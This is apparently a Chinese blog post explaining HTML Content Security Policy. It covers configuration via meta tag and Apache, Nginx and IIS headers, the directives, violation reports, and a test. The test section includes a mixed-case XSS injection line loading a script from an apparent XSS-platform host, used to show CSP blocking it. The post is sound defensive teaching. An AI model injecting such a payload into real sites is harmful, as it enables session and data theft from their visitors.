html内容安全策略

Author Avatar
ssssdl 4月 29, 2019

关于CSP

内容安全策略 (CSP) 是一个额外的安全层,用于检测并削弱某些特定类型的攻击,包括跨站脚本 (XSS) 和数据注入攻击等。无论是数据盗取、网站内容污染还是散发恶意软件,这些攻击都是主要的手段。(摘自MDN web docs)

个人理解就是一种执行在浏览器端的页面安全策略,通过设置白名单允许页面内容来自指定的源,比如验证js脚本的来源来消除来自其他源的js脚本加载,这样就能防止xss远程加载js脚本。

相关配置

两种

直接在html页面中添加

示例:

1
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">

配置服务器,使其在响应头添加

  • Apache
    在VirtualHost的httpd.conf文件或者.htaccess文件中加入以下代码

    1
    Header set Content-Security-Policy "default-src 'self';"
  • Nginx
    在 server {}对象块中添加如下代码

    1
    add_header Content-Security-Policy "default-src 'self';";
  • IIS
    web.config:中添加

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    <system.webServer>

    <httpProtocol>

    <customHeaders>

    <add name="Content-Security-Policy" value="default-src 'self';" />

    </customHeaders>

    </httpProtocol>

    </system.webServer>

这样response 头里面就会有Content-Security-Policy: 标签

1
Content-Security-Policy: script-src 'self'; object-src 'none';style-src cdn.example.org third-party.org; child-src https:

关于csp的语法(简单介绍)

默认限制

什么都不会就直接上一个默认限制就行了,例如Content-Security-Policy: default-src 'self'限制资源只能从本地加载,不管是js,还是图片,都只能从本地加载

详细的资源加载限制(摘自知乎:阿里聚安全)

可以对每种资源进行详细的加载限制

  • script-src 外部脚本加载限制
  • style-src 样式表
  • img-src 图像
  • media-src 音频视频的加载
  • font-src 字体文件
  • object-src插件(比如 Flash)
  • child-src框架
  • frame-ancestors嵌入的外部资源(比如\<frame>、\<iframe>、\<embed>和\<applet>)
  • connect-srcHTTP 连接(通过 XHR、WebSockets、EventSource等)
  • worker-src worker脚本
  • manifest-src manifest 文件

    url相关

  • frame-ancestors 限制嵌入框架的网页

  • base-uri 限制 <base#href>
  • form-action 限制 <form#action>

    其他其他安全相关

  • block-all-mixed-content:HTTPS 网页不得加载 HTTP 资源(浏览器已经默认开启)

  • upgrade-insecure-requests:自动将网页上所有加载外部资源的 HTTP 链接换成 HTTPS 协议 相关类似的还有HTTP Strict Transport Security
  • plugin-types:限制可以使用的插件格式
  • sandbox:浏览器行为的限制,比如不能有弹出窗口等。

将违例内容进行反馈报告

需要在CSP规则中写明report-uri策略,然后参数中有一个地址接收这些报告,报告格式是json
大概写法事这个样子拿apache配置为例

1
Header set Content-Security-Policy "default-src 'self';report-uri http://12.12.12.12:7777"

返回的json大概如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
{
"csp-report":{
"document-uri":"http://hhhhh.com/",
"referrer":"",
"violated-directive":"script-src-elem",
"effective-directive":"script-src-elem",
"original-policy":"default-src 'self';report-uri http://12.12.12.12:7777",
"disposition":"enforce",
"blocked-uri":"https://xss.pt/XUXds",
"status-code":200,
"script-sample":""
}
}

测试

  • 配置虚拟主机

    1
    2
    3
    4
    5
    <VirtualHost 12.12.12.12:80>
    DocumentRoot "/var/www/ipv4"
    ServerName hhhhh.com
    </VirtualHost>
    Header set Content-Security-Policy "default-src 'self';"
    重启apache服务,查看响应头是否含有Content-Security-Policy: default-src 'self';
    
  • 到页面中加载远程脚本
    <sCRiPt sRC=https://xss.pt/XUXdj>
  • 然后这时浏览器就会报错
    比如chrome:
    1
    Refused to load the script 'https://xss.pt/XUXdj' because it violates the following Content Security Policy http://hhhhhh.com directive: "default-src 'self'". Note that 'script-src-elem' was not explicitly set, so 'default-src' is used as a fallback.

相关文档: